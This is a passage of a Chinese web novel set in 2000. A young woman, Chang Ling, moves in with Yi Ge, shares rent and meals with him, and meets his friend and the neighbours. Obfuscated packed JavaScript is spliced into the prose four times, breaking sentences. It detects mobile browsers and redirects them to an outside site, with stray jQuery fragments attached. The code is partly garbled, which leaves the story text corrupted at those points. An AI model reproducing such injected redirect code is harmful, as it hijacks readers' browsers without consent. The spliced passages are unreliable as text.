待人走远,易阁抱臂跳下台阶大步向前。昌灵愣了下,随后立刻跟上他的脚步,小声问:“你去哪儿?” “回家啊,不然睡大马路上吗。” 昌灵盯着他的背影,眼神中没什么温度,语气却是柔和道:“我往那边走比较近,下次有机会再请你和你朋友吃饭吧。” 易阁的脚步骤然停了下来。 昌灵在他转过身前垂下眼眸,“那我先走了,易阁。” “你还想回那儿住?你脑子有病啊。”易阁眉头紧锁,话语里隐隐蕴含着怒意。 昌灵头垂得更低,“那我能去哪里呢,就算换地方住也要等现在的房间租期到了再说吧。” “你就差那几块钱?连自己的安全都顾不上了?” “差。”昌灵重复道,“差的。” “……”易阁哑口无言。 路灯熄灭前闪了又闪,最终颤颤巍巍闭上了眼。昌灵的眼睛没适应黑暗,一时看不清易阁的脸。 只听见他说:“你搬去跟我住,以后再慢慢找地方。” 昌灵:“……跟你住?” “走。”易阁拉了下她的手肘又很快松开,“回你住的那儿收拾东西。” “现、现在?” “不然呢?你还想再回去?” “我……” “快点吧我跟你一起,趁你那个室友还没回去。” 昌灵想告诉他黄燕上的是夜班,不会回去的。但在她逐渐看清了易阁脸上的烦躁和担忧后,把解释的话原封不动吞了回去。 他是在担心?我? ** 花盆的碎瓷片已经被服务员打扫干净了,易阁坐在空荡荡的桌子前巡视了一圈,这么小的房间还得两个人挤在一起。 “你先坐,我很快就收拾完。”昌灵背对着他从床底下拖出来一个小编织袋,提手还断了一个。 都是女孩儿的东西,易阁不好帮忙,但干坐着又浑身不自在,眼睛也不知道该往哪里看。犹豫片刻,他清清嗓子:“那个,我出去看看,马上回来。” 昌灵嗯嗯着点头,把换下来还没来得及洗的毛衣扔进编织袋里。和一个月前相比,她的行李只多了两件换洗的衣服。 趁易阁出门的时间,昌灵快速洗了把脸。看着镜子里略显苍白的自己,她忍不住叹了口气。怎么这么憔悴。 昌灵用袖子抹掉了下巴上的水珠,回屋把书包背好,想着把编织袋先放到门边,等易阁回来直接走。刚弯下腰,就看见脚边贴着一小块叠好的白纸。 看起来有些眼熟。 昌灵拾起来放在手心仔细瞧,喔,是之前火车上的姐姐给的那张。自己放在毛衣里忘记了,大概是刚才叠衣服时掉出来的。 想到这她把纸条随手展开来看,只有短短四个字。但昌灵盯着这张纸条好半晌,最终面无表情撕碎了扔进垃圾桶里。 “好了没?”易阁敲敲门问道。 “好了。”昌灵回头笑了下,“我们走吧。” 她锁好门,和之前每一次出门前一样。只不过现在房间里空了一张床,床板上映着一点飘渺的月光。 昌灵躺在这张床上没见过窗外的月亮。 ** 易阁不说话,昌灵也不知道说什么。两个人一前一后沉默地走,沉默地上楼。啪的一声,易阁拍开了楼道里的灯。 301。 她没想到易阁居然有钱住在居民楼里。 “进来吧。”易阁打开门让她先进。 昌灵咬着一点嘴唇内的软肉,低头往里走。楼道的灯打在身后,一双影子拖得很长。 客厅的灯泡是暖黄光,家具上都蒙着一层旧色。 “那个……”昌灵有些局促地看着他。 易阁换好拖鞋把编织袋放在茶几边,故作镇定地抬手指了指几个房间门,“呃……你可以随便看看,那边是卧室,那边是洗手间,这,这是沙发。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535012|186508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “啊,沙发。”昌灵呆呆地点头,想了想又问道:“我用不用换拖鞋啊?” “……家里没有多余的,改天去市场再买双。” “啊好。” 话毕。 两个人站在原地大眼瞪小眼,片刻后不约而同地移开了视线。昌灵抿了下嘴角,想着自己要不还是四处转转比较好。 易阁盯着昌灵裤腿上的一块灰土,绞尽脑汁憋出了一个新话题: “昌灵,你要不要先去洗个澡?” “啊?”昌灵唰地把头扭回来。 ? “不是不是不是。”易阁察觉自己的话有歧义,急忙解释道,“我的意思是,那个,不是刚从派出所回来吗,就,洗个澡那个——” 易阁抓了抓衣角,那个词就在嘴边,他就是想不起来了。 “去晦气是吧。”昌灵好心替他补充完。 “对!”易阁不禁长舒一口气,差点给自己塑造成小流氓形象。 昌灵问:“跟澡堂那种一样吗?” “对对,热水器,你有毛巾吗,香皂在里面。” “有。” “那你去吧,其他的等你洗完澡再说。” “也行。”昌灵声音很小,片刻后攥着毛巾走到卫生间门口。 易阁背过身疯狂拍了几下自己的嘴,你到底在说些什么东西啊。 “易阁。” “啊——”他嗖地放下手转过身,“怎么了?” “我没有拖鞋。” 对哦,洗澡也要穿拖鞋。 易阁眼睛眨了眨,说:“要不你先穿我的吧,我没有脚气。” 昌灵没看他,小声说了句谢谢。 易阁在客厅走了两个来回,卫生间的水声阵阵,他反倒比在昌灵房间时更不自在了。 像唐僧误入盘丝洞,反而看见女儿国国王在池子里泡澡。 虽然他没看见。 算了,还是出去透口气吧。 易阁从抽屉里拾了几个钢镚儿,准备去门口小卖部给国王买双新拖鞋。路过卫生间时他脚步顿了顿,现在敲门跟昌灵说话好像不太合适,犹豫再三还是沉默着出了门。 反正很快就回来了。 关门声响起时昌灵听见了。她关掉花洒竖起耳朵听了一会儿,确定是易阁出了门,才伸长了脖子看向隔板上的瓶瓶罐罐。 洗发露有两瓶,一个沉一个轻。轻的瓶身上花花绿绿写着浓郁花香,昌灵凑上去闻了闻,好像是挺香的。 易阁喜欢用这种? 她在手心摁了两泵搓在脑袋上,整个卫生间立刻弥漫着一股熏人的香精味。 我天呢,易阁这喜好。 昌灵本着不浪费的原则屏住呼吸冲干净了头上的泡沫,暗自想着以后再也不要用这瓶。等将来有了钱,她要去买一大瓶自己喜欢的味道。 十分钟后,易阁慢悠悠拎着拖鞋和一把挂面俩鸡蛋回来。买的时候猜想着折腾这一晚上昌灵也该饿了,实在不行就煮个素面吃吃。 谁成想推开家门扑面而来的却是一股熟悉的花香。 易阁随即想到这是自己原先那瓶洗发精的味道。 在他头上是挺熏人的。 在昌灵头上倒是还挺好闻的。 18. 2000 易阁在门口清了清嗓子才往里走。 昌灵头顶裹着毛巾正在擦头发,听见开门声探出脑袋来看,“你去哪里了?” “小卖部。”易阁翻出拖鞋扔在地上,“你穿这个。” “这是,特意出去给我买的?” “那怎么可能,我饿了,买面条的时候正好看见了。” 这样啊,昌灵了然地点点头。 “我也饿了,面条有我的份儿吗?”她认真地说,“我可以给钱。” 易阁‘切’了一声,“你钱很多啊?那不如我们谈谈房租。” 昌灵:“……” 看着昌灵呆愣的脸,易阁突然意识到自己说错话了,本来就是临时住一下,怎么就扯到房租上了,又不是要跟他合租。 易阁偏头皱了下眉,而后故作随意地开口:“我不是……” “这些一会儿再说吧,我去煮面。”昌灵蓦地打断了他,“我煮面还挺好吃的。” “啊,那也行。” 易阁把挂面扔进她怀里,自己闷头往沙发走。等昌灵的身影消失在厨房门里,他才如释重负般呼了一口气,猛猛打了两下嘴。 这死嘴,一晚上都在说些什么东西啊。 厨房里传来一阵橱柜开关门的声音,片刻后昌灵的身影重又出现在门口。 易阁挺直腰板:“怎么了?” “我找了一下,家里好像没有锅?” 易阁:“……” 这都叫什么事儿啊。 昌灵用脚想也知道易阁根本不是为了买挂面才出去,她抿着嘴不明显地笑了笑,开口替易阁找补道,“要不我去邻居家借一下,煮完面再还回去?” 易阁抓起自己的棉袄说不用,他现在去小卖部买一个就行。 “哎。”昌灵拦了他一下,“是什么样的小卖部?质量能好吗。” 易阁动作一顿,想起之前的洗发水,质量好像是不咋地。 “那先去借?你下班的时候从你们商厦捎一个回来好了。” 昌灵:“……我不在百利上班了。” “哦,那抽空去钟楼百货看看?我同事说那里的东西还行。” 昌灵有些意外他的反应,片刻后轻轻点了点头。 ** 对门邻居应该住着一家三口,因为昌灵听到了里面小男孩的说话声。 女主人见昌灵一个小姑娘来借东西也很好说话,给了她一个小锅、一小袋盐和半截葱,“你们没有锅应该也没有调料吧,先对付着用用,缺啥再过来要。” 昌灵端着小锅心里高兴,连声道谢。 “什么时候搬过来的呀?我怎么没见过你。” 昌灵:“刚搬过来的。” “之前好像住着个男孩?” “嗯,我们一起的。” 女主人恍然大悟,“你等等,我再给你拿两副碗筷。” “谢谢您,但碗就不用了,有筷子就行。” 片刻后女主人笑着递给她,“那行,你们先用吧,这么晚还没吃饭呢,不着急还。” 昌灵也跟着笑,随即心满意足地关上了家门。 好在煤气罐里还有点余气。趁昌灵洗锅的功夫,易阁给煤气灶打着了火,拍拍手说:“里面气儿好像不多了。” “那怎么办?”昌灵没用过这个,村里都是烧柴火的八人锅。 两个人并排站在灶台前等着水烧开,易阁想了想,随口道:“用完就拉倒呗,难道你还要天天做饭啊。” 昌灵看了他一眼,问:“不做饭吗,你之前都怎么吃饭的?” “单位食堂啊,或者去小区对面的店凑合凑合。” 单位还有食堂? 昌灵又问:“你在哪上班啊?福利待遇这么好。” “三九八机械厂,这边就是厂里的家属院。” 家属院的话,那上班也很近。 “可我听他们说,居民楼房租很贵的。” 易阁闻言留了个心眼,问昌灵:“你那个宾馆合租要多少钱?” 昌灵老实回答六十。 “比我想的还便宜不少。” “所以这里呢?”昌灵心里犯嘀咕,“真的很贵?” 易阁看她两只手绞在一起就知道这人又在担心钱的事,于心不忍,思索片刻才说:“也还行吧,一个月一百四。” 一百四,昌灵转了转眼珠,和自己的心理价格差不多。两个人平摊只比原来多十块钱,还有厨房和卫生间。 随后她真诚发问道:“但我刚才看了,只有一个房间一张床,我们两个人的话,要怎么住啊?” 易阁:“……” 真要和昌灵一起住吗?他垂眸看了一眼手边热汤翻滚的小锅。 ——也不是不行。 两个人吃完饭一合计,床能睡人,沙发也能。木头沙发有坡度,睡起来硌人,多垫两层被褥也一样。 家里目前只有易阁盖的一床被子,再买两床新的,钱两个人平分。以后的水电钱也每个月平分。 这些昌灵都没意见,只提出来一点,“那睡床和睡沙发,房租就不能是一样的了吧?” 易阁挑了下眉尾,“也是,你想四六分?” 昌灵算了算,也不差那几块,“凑个整,八十、六十怎么样?” “没意见,你睡床?” 昌灵说:“我睡沙发。” 倒是也在意料之中。 易阁:“行,那今天你凑合睡吧,明天去买新被子。” “嗯,我盖衣服就行。” “这些……”他指了指桌子上的餐具。 “等买了洗洁精,给人家刷干净再还回去。” 易阁点了下头,“那我洗脸睡觉了,时间也不早了。” 昌灵自然说“好”。 第一次跟同龄的女孩住一个屋,易阁盯着天花板好半晌也没什么睡意。他租这个房子的时候已经过了交供暖费的时间,但楼上楼下都有暖气,他家夹在中间也不算冷。 可不知怎的,今夜他越躺越觉得凉。 正当他想扯开被子给自己盖上,伸手摸到被子的瞬间却鬼使神差地想到外面的昌灵。她只会更冷吧? 易阁掐了掐眉心,脑海里无声进行着天人交战。被子给昌灵?可她自己说盖衣服就行的。 但昌灵毕竟是个女孩,不比他这个男人火力旺盛。她又那么心疼钱,真要是冻感冒了恐怕也只会硬抗过去吧。 算了。 易阁面朝天花板,试探着喊了声昌灵的名字,“你睡了没?” 片刻后客厅里响起了窸窸窣窣的翻身声,昌灵小声回答他没有。 “你怎么还没睡?” 昌灵:“你不是也没睡吗。” “……”那倒也是。 易阁叹了口气翻身下床抱起被子,一套动作行云流水。但他没有第一时间迈进客厅里,停在门边敲了敲门板, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535013|186508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我要出去了啊。” 昌灵:“啊?” 她披着棉袄坐起来。 易阁这才走近沙发把被子扔下,“你盖吧,我不冷。” 昌灵下意识摸了两把被面,软绵绵的。她不想违心地说自己不冷,犹豫片刻,低声道了句谢。 易阁:“嗯,睡吧。” 黑暗里,昌灵捕捉不到他的神情,易阁也看不清她通红的眼眶。等玻璃隔断上属于易阁的那道身影躺好,昌灵的眼泪才不受控制地从脸颊滑落下来。 明明是很小的事,为什么又哭了呢。 她抬手胡乱抹了两把脸,将被子的边角仔仔细细掖在身体底下。被子的温度很快捂热了昌灵的双手,也烘干了耳畔遗留的泪痕。 热泪似乎带走了冬夜里的种种不甘,在新家的第一个不那么平静的夜晚,昌灵久违地梦到了母亲。 那是一年丰收季,母亲将新挖出来的土豆晾在院子里,回头笑着跟昌灵说,明天给你们做土豆饼。 ** 昌灵的生物钟还是之前上班的点,外面天还是黑的。她围着被子靠在沙发扶手上来回晃脖子,睡得还行,就是有点累。 等易阁闭着眼睛爬起来时,昌灵已经买好了早饭回来。 “你醒了啊。”她把油条搁在桌子上,“洗漱完过来吃饭吧。” 易阁打着哈欠直点头,含糊不清地说“辛苦了”。 不出十分钟,他头发滴着水从卫生间出来,人也变得清爽不少,问昌灵:“你怎么起这么早?” “习惯了。”昌灵好奇地看着他的脑袋,“你是洗了个头吗?” “啊。” “用什么水洗的?热水器没开呀。” 易阁叼着油条无所谓道:“大老爷们儿哪那么多讲究,自来水洗两下就行。” “凉水?那怎么行,这么冷的天会感冒的。” “我不会,但你别学。” 昌灵心道我又不是傻子。 易阁不知道自己已经被划进了傻子那一类,换了话题问她今天准备干什么。 昌灵叹气,掰了一口油条捏在手里,轻声说:“我先去找找有没有新工作,然后买点碗筷、日用品。” “找什么样的工作?” “说实在的,我还挺喜欢卖衣服的。” 易阁讶然,“真看不出来,你喜欢干销售?我以为你不爱说话呢。” 昌灵笑得腼腆,“之前是不太想说话,但现在想试一下。” “多锻炼一下也挺好。”易阁表示赞同,“去哪找?还是那种商厦?” “不了,我想去小商城看看,太高端的地方不太适合我。” “行,别忘了买锅。” 昌灵刚想说什么,易阁:“你等等。” 他起身回房间,片刻后拿了几十块钱出来递给昌灵: “刚才说的买锅、买日用品,还有昨天说的被子之类的,先用我的钱吧。 “呃,不是说光花我的钱啊,就,等你找到新工作再重新算吧。 “房租我也都付过了,你那份儿也等你之后发工资再给我吧。” 昌灵呆呆地看着他。 “还有,出了小区往东,过一个路口有个菜市场,你要是想自己买菜做饭可以去那看看,应该实惠点。 “再有什么事就给我打电话,小区外面的报亭可以打。” …… 她从没听过易阁讲这么多话。 19. 2000 昌灵不知道这算不算因祸得福。 钟楼百货对面有个卖衣服的地下商城,招工的店不少,老板听说她之前在百利上过班,人也像个衣服架子,都挺愿意留她。 昌灵多走了几家,对比了一下环境和工资。工资都差不多,底薪二百左右,每卖一件单独算提成。因为白天没什么顾客,所以工作时间基本都是从下午两点到八点,不管饭。 至于环境,她精挑细选过后定了一家墙上有一扇很小的通风口的店,老板说赶上天气好的时候店里还能照进来一点点阳光。就为着这点阳光,昌灵跟她签了合同。 老板看起来很面善,但嗓门大,她笑眯眯道:“成了!那明天过来上班吧?” 昌灵笑着跟她握了握手。 临出门前得知她要去买东西,老板还推荐了几家卖棉被的店,又叮嘱说:“买锅的话还是买炒锅吧,实用,炒菜煮面都行。” 昌灵一一记下,进了钟楼百货便对着纸上的店铺名字挨家找。被子好买,锅可不好挑。她拎着两床新被子在锅具店转悠,锅具店老板怕被子碍事让昌灵先放在门口,但她愣是一秒钟都没撒过手。 新买的。 不能离手。 “这几个都是我们这儿卖得最好的锅,价格也合适,妹子你看看?” 昌灵单手握住锅把手试了试重量,还挺沉,“这是铁的吗?” “纯铁的,好使着呢。” 铁锅好,昌灵想。 “我挺喜欢这个的,能不能再便宜点。” “这价格你去别的店都买不到的。”老板问,“妹子,你这是替家里大人看的啊?” 昌灵犹豫片刻,回答道:“不是,我就是大人。” “啊,我还以为你年纪很小呢。那你这是要结婚?”老板指指她的被子,“我看你全买了新的。” 出门在外,有些事情不必说得那么清楚。再者昌灵也怕老板觉得自己年纪小好说话,于是含糊着说“是”。 老板一拍手,“哎呦,恭喜恭喜呀。” “……谢谢。” “那你男人怎么没来?你拎这么多东西可沉呢。” 昌灵闻言不着痕迹地皱了下眉,转头笑着问:“所以这锅还能便宜点不,大喜的事儿,也能给您添个好彩头。” 砍价话术都是她在之前的店里学来的,百试百灵。 ** 公交车的售票员帮昌灵把东西放到座位旁,离开前叮嘱她说:车上人多,自己多留心着点儿。 昌灵冲她感激地点点头。 四方路离三九八小区很近,坐车用不了二十分钟。昌灵用膝盖顶着装锅的盒子,把被子抱在腿上,看着窗外呼啸而过的景色,心里觉得畅快。 这个地方怎么看怎么好。就连路边的枯树干都比西乡那些长得粗壮,枝条搭着枝条,等到来年春天一定是生机盎然的景象。 昌灵微微勾了勾唇角。 老话都说万事开头难,这一场逃亡跌跌撞撞到如今,她也算是开了个不错的头,相信以后的生活也会越来越好。 下了车还要走一小段路,昌灵手里东西多,又有心留意小区周边有没有招零工、小时工的地方,因此走得格外慢。 卖衣服是下午的班,上午还有大把的空闲。一路上她想了很多,思来想去还是觉得早点摊的时间最合适,就算起得早一点,收了摊再回家补觉就是了。 昌灵沿路记了记地面上用白色颜料圈起来的‘摊位’位置,准备明天早上起来再过来问问。 路过小区门口的报亭时她低头看了一眼电话小屏幕上的时间,刚过十点。 来得及。 昌灵放下东西敲敲报亭的玻璃,“您好,我想打个电话。” “哎,拿起来拨号就行。” 昌灵熟练地摁完一串数字,静静等着对面接听。嘟嘟声刚停,后面就流畅的衔接上了易阁的声音: “昌灵?” “嗯?怎么刚好是你接电话?”昌灵惊讶道,“你怎么知道是我?” “猜的。怎么了,有事?” “你中午是不回来吃饭吗?” “啊。”易阁顿了顿,“你真要做饭啊?” “我现在比较闲嘛,那晚上你回来吃吧?” “啊。” “要不然问问你那个同事,叫上他一起?昨天人家也帮了不少忙。” 易阁没意见,“你要是不嫌累,我就打电话问问他。” “好,那我在这等你消息。” ** 昌灵麻利地擦干净了阳台上的晾衣绳,将两床新被子搭好见见光,又回厨房转了一圈,回想自己家的灶台上都摆了些什么。 锅碗瓢盆,油盐酱醋。 她粗略算了算钱,按照易阁说的方向找到了菜市场。这里的菜比老家集市上贵些,买到最后余钱不多,只够四副碗筷钱。 本来想图个吉利买六副,攒一天再刷也够用,昌灵抿了抿嘴,但也只能先这样了。 其实原先在家里是不用她做菜的,白天要上学,这些事都是母亲和嫂子占大头。但昌灵耳濡目染,也学会了些厨房的章程。 难。 真动起手来比她想象中难太多。 易阁说他五点多下班,于是昌灵从十二点开始就在厨房忙活,午饭都没吃。正当她兴致勃勃准备给切好的胡萝卜丝焯水时,眼前却突然浮现出母亲的身影。 记忆里的那道身影与现在的她如出一辙。 意识到这一点的昌灵忽地生出一丝丝怪异感,但她还没来得及细想,就被胡萝卜的味道吸引走了注意力。 好香,也不知道易阁和他朋友会不会喜欢吃。 三个人吃饭,昌灵炒了四个菜,最后一道汤出锅的时候,门外适时响起了敲门声。 “来啦。”昌灵在衣服上擦干手,嘟囔着怎么没带钥匙吗。 “又见面了,表妹!”门一打开,陈家旺先递进来一箱纯牛奶,他今天半扎了个小啾啾,看起来格外风流不羁。 昌灵:“这是?……” “蹭饭怎么能空手来。”陈家旺全然不像个客人,咧着嘴自顾自地往里走,“这么香,表妹你手艺不错啊。” 昌灵闻言轻轻眨了眨眼,这人嘴还挺甜。 易阁在他身后合上门,“你站这干嘛,进去啊,不知道的还以为是咱俩来参观他家呢。” “可是这个……”昌灵指指地上的牛奶,这应该很贵吧? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535014|186508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那不得礼尚往来? 易阁看懂了她的意思,说:“没事儿,你不用管。” 茶几不大,三个人分坐在三个方向。昌灵给身旁的陈家旺倒了杯水,笑着说:“我还不知道表哥你叫什么?” 陈家旺把袖口往上挽了挽,自我介绍道:“我叫陈家旺,你叫我家旺哥就行。” 昌灵点点头,“家旺哥。” “还是我妹妹乖巧,让易阁叫句哥死活不叫。”陈家旺摆摆手,“妹妹,你跟他住一块儿得多没劲啊。” 易阁:“……” 昌灵也看了易阁一眼,小声说:“也还好吧,我们俩半斤八两的。” 陈家旺哎了一声往她身边凑近了些,“你以后要是想出去玩,随时给哥哥打电话,我带你出去。” 易阁不耐烦地敲敲桌子,“你还没完了是吧。” 陈家旺:“昌灵可是我表妹,这里,你才是外人。” 易阁瞥了他一眼,“赶紧吃吧,饭都堵不上你的嘴。” “吃吃吃,来我们以水代酒。”陈家旺用杯底砰砰桌子,“欢迎昌灵入住三九八!” “啊?”昌灵一愣,片刻后无奈地笑笑,“谢谢家旺哥,但这顿饭是为了感谢你昨天帮我解围。” “举手之劳,举手之劳。” 水过三巡,陈家旺一把拉起自己的袖子,“妹妹,给你看看我的纹身。” 昌灵跟易阁对视了一眼,想了想说:“你还有纹身呢?在我们村里,都说不着调的人才纹这个。” “土,太土了你们。”陈家旺把胳膊伸到她眼前,“看看看看,这是艺术,懂不懂。” 昌灵垂眸,半晌疑惑地问:“我怎么没看出来这是什么?” 到这,对面的易阁已经忍不住笑出了声。 昌灵:“……看不出来很好笑吗?” 陈家旺:“别搭理他。” 他神秘兮兮地展示道:“这是我偶像的作品。” 偶像? 昌灵皱着眉仔细瞧,“可我怎么看,这都好像,是两只虾啊……” “对喽!”陈家旺激动地比了个大拇指,“有品位!” “啊?”真是虾啊? 昌灵不明所以,问:“那你的偶像是?” “齐白石。” “……” 易阁笑得更大声了。 陈家旺懒得理他,只看着昌灵。昌灵张了张嘴,在他期待的目光里,说: “……看不出来,你还是个艺术家。” ** 吃饱喝足,陈家旺没吹多久牛就说自己还有下一场酒局,披上外套就走。临出门前还意味深长地笑着说,不打扰你们两个人。 被易阁踹了一脚。 趁他收拾碗筷的功夫,昌灵把下午洗好晾干的碗给对面邻居送回去,回来的时候还被塞了一盘煮好的水饺。 她端着回厨房,易阁:“放着吧,明天早上吃。” 昌灵看着水流下易阁忙碌的手,感慨道:“这里的人还真好。” 易阁轻哼一声,随口问:“你今天都干嘛了?找工作了?” “对了!”昌灵欣喜道,“你洗完过来阳台看!” 易阁闻言挑了挑眉毛。 20. 2000 自从进了腊月门易阁就一直在加班,九点、十点才回家都是常态。昌灵店里就更忙了,买过年衣服的人,男女老少各种各样几乎没断过。为了多赚点钱回家过年,晚上商场关门以后她们几个店员还会在附近的过街天桥上继续摆摊,每天基本也要到九、十点。 因此她和易阁虽然同住一个屋檐下,但一天到晚也说不上几句话。 腊月二十八,天桥上卖福字对联的摊子明显顾客更多些。 昌灵把刚才被人翻乱的衣服重新叠好,呼了口气搓了搓脸。 “今天真冷啊。”同事王姐拎过马扎递给她,“小灵你坐,蹲一会儿腿麻了。” “哎好。”昌灵客气道,“谢谢姐。” 眼下没什么客人,王姐闲来无事随口问:“我听老板说你也不是本地人,买了回家的车票了吗?几号走?” 昌灵一怔,片刻后说:“没买呢,今年不回去了。” “你过年不回去了?一个人在这儿过?” 昌灵微微笑着,没说是也没说不是。她想着易阁大概也不会回去,所以自己应该不算是一个人吧。 不过这事儿他们两个人没讨论过,昌灵不是很确定。 “那你呢姐?”她把话题从自己身上引开。 “我三十早上走,你都不知道这车票有多难买,我家那口子排了好几天……” 说话间摊位前又来了客人,这段临时起意的闲聊就此落了幕。收摊后的衣服都是王姐骑三轮车拉回家,等店里开门再捎回去。今天天气不好,收摊的时间比原先早了一点。 王姐感慨道:“明天就是今年最后一天上班了,马上又熬过一年。” “辛苦了姐,路上小心。”昌灵把码整齐的衣服用绳子捆在三轮车两侧扎紧。 “你也早点回去,注意安全。” 昌灵点点头,目送王姐的身影拐过路口后垂眸叹了口气。说者无意听者有心,回家是回不去的,但她确实有点想母亲和嫂子,也不知道她走以后家里会怎么样。 有没有鸡飞狗跳?王德富一定会去家里闹吧? 至于易阁回不回去,还是得抽空问问他才行。 小区门口烙油饼的摊子还没收,昌灵路过时买了点,这样回家也有借口和易阁坐下来聊聊。 从门口到楼下这段路,油饼的香味争先恐后地从塑料袋的缝隙里钻出来,昌灵不争气地咽了咽口水,想着,等明天发了工资一定要去买点好吃的才行。 “哎?你下班啦。” 前头的说话声打断了她的思绪。昌灵闻声抬起头,说话的是对门的邻居,周围还站着些她不认识的人。昌灵没有打量人的习惯,只笑着应了声就准备上楼。 “哎你先等等,正好回来了一起听听?” 昌灵停在一级台阶上,“怎么了?” “小马,这是谁啊?”身旁有人出声问道。 原来对门的姐姐姓马。 马姐:“先给你们介绍一下,这是我家对门刚搬来的小姑娘,叫……” “我姓昌。” “啊,小昌。那个我姓马。” 昌灵点点头。 “这些都是咱一个楼住着的邻居,赵大妈,在你楼下一楼。这是小董,住五楼。” 昌灵敷衍着笑了笑,问:“你们刚才是在说什么要我听?” “小董家,想装固定电话。”马姐解释道,“网通公司的人说,如果一栋楼一起扯线安装费能便宜,就想问问有没有人想一起的,毕竟老在那个报亭打电话也不是太方便。 “你说呢小昌?” 昌灵垂眸动了动眼珠,她无所谓用不用电话,平时最多也就是联系一下易阁。正想委婉地拒绝说她再考虑考虑吧,刚巧有人从楼外拐进来。 步履矫健,夹杂着冬夜的寒风。 “哎?”马姐看清来人后笑着看了昌灵一眼。 昌灵偏头从人群缝隙里看过去,只见易阁戴着顶黑帽子遮住了半张脸,手里还提着两袋八宝粥。 “今天回来这么早。”她下意识说道。 “昂。”易阁快速把周围的一圈人挨个扫了一遍,问,“你怎么站在这儿,出什么事了?” “哎呀,能出什么事。”马姐笑着插话,“小昌,这不给我们介绍介绍?” “呃,他姓易。”除了姓氏,昌灵也不知道怎么介绍。 易阁稍稍点了一下头,“你们好,那没什么事我们上楼了。” “有的有的。”小董连忙说,“我们家想安电话,要是大家一起能便宜,你们家应该也还没安吧?” “电话?”易阁和昌灵对视了一眼,没怎么犹豫就说那一起吧。 “行,那我把你们家也加上,301是吧?你们过年回家吗,什么时候能回来,让他们初十过来行吗?” 易阁:“行。” “小易爽快人啊。”马姐看他们两个人都拎着吃食,急忙摆摆手,“你俩这么晚了还没吃饭呢?快回去吃吧,别凉了。” 易阁嗯了一声穿过人群往楼上走,昌灵跟在他身后,客气地跟大家打了声招呼,“那我们先上去了。” “去吧去吧。” 关上房门,昌灵从猫眼往外瞄了一眼,确定楼道里没人才小声抱怨说:“你也不问问安电话要多少钱,就这么痛快的答应了?” 易阁接过她手里的饼扔在桌子上,又进厨房拿了两个碗倒粥。 昌灵:“问你话呢。” 易阁把盛粥的袋子沥干净丢进垃圾桶里,洗完了手才说:“今天发工资了,多少钱也够了。洗手过来吃饭。” “……” 昌灵放下包也去洗了个手,回来的时候易阁已经解开了饼袋,说:“幸亏我路过的时候没买,买重了明天还得吃剩的。” “那你原本想的就是咱俩只喝粥呗?” “啊,大晚上的吃那么多干嘛。” 昌灵撇了撇嘴,想说你不吃就把饼吐出来,没人逼你。但想了想还是没说出口,要不显得自己很小气似的。 “你们怎么今天就发工资了?”她问,“明天不上班了?” “活儿都加班干完了。” “哦。” 易阁:“你们上到什么时候?” “早点摊的老板已经回家了,商城那边明天下午去收拾收拾点点货,打扫一下卫生,老板说要表彰大家发奖金呢。” 易阁把饼咽下去,说那挺好的。 昌灵想起刚才王姐的话,旁敲侧击地说:“我同事三十早上要回老家了,她说回家的火车票可难买了。” “那肯定啊,过年大家都赶着回家。” “那你呢?”昌灵手指不自觉地抠了一下筷子,“你不回去看看你爸?” 易阁闻言抬起头看着她,“你想回去看你爸?” “……不想。”昌灵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535015|186508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说,“但现在是我在问你,你还没有回答。” 易阁挑了下眉尾,突然笑了下。 昌灵:? 他说:“我发现你最近真是胆子大了不少,看来你那工作确实挺锻炼人的。” 昌灵:“……” “怎么,我说的不对吗?你一开始跟我说话都不敢看我的眼睛,现在还能质问我了,进步飞快啊。” 昌灵睨了他一眼,阴阳怪气地说谢谢你啊,而后懒得再说话。 吃完饭昌灵去洗了个澡,易阁趁这段时间刷好了碗筷,正趴在桌子上画线路图。 昌灵擦着头发粗略扫了一眼,“不是放假了吗,怎么还画这个。” “我看看电话怎么走线,有图他们安装的时候看得更清楚。” 昌灵闻言瞪大了眼睛凑过去仔细看,“你还懂这个呢?” 